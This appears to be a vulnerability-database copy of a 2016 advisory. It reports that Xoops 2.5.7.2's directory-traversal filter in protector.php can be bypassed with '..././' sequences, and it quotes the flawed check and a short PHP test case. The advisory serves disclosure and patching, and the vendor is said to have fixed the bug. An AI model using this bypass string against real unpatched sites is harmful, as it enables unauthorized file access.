Lucene search
K

Xoops 2.5.7.2 - Directory Traversal Bypass

🗓️ 21 Mar 2016 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 23 Views

Xoops 2.5.7.2 Directory Traversal Bypass, Vulnerability in protector.ph

Code
[+] Credits: John Page aka hyp3rlinx 
 
Vendor:
=============
xoops.org
 
 
Product:
================
Xoops 2.5.7.2
 
 
Vulnerability Type:
===========================
Directory Traversal Bypass
 
 
Vulnerability Details:
=====================
 
Xoops 2.5.7.2 has checks to defend against directory traversal attacks.
However, they can be easily bypassed by simply issuing "..././" instead of
"../"
 
 
References:
http://xoops.org/modules/news/article.php?storyid=6757
 
 
Exploit Codes:
==============
 
 
In Xoops code in 'protector.php' the following check is made for dot dot
slash "../" in HTTP requests
 
/////////////////////////////////////////////////////////////////////////////////
 
if( is_array( $_GET[ $key ] ) ) continue ;
if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
 $this->last_error_type = 'DirTraversal' ;
 $this->message .= "Directory Traversal '$val' found.\n" ;
 
////////////////////////////////////////////////////////////////////////////////
 
The above Xoops directory traversal check can be defeated by using
 ..././..././..././..././
 
you can test the theory by using example below test case by supplying
..././ to GET param.
 
$val=$_GET['c'];
 
if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
echo "traversal!";
}else{
echo "ok!" . $val;
}
 
 
 
Disclosure Date:
==================================
Feb 2, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure

#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Mar 2016 00:00Current
7.1High risk
Vulners AI Score7.1
23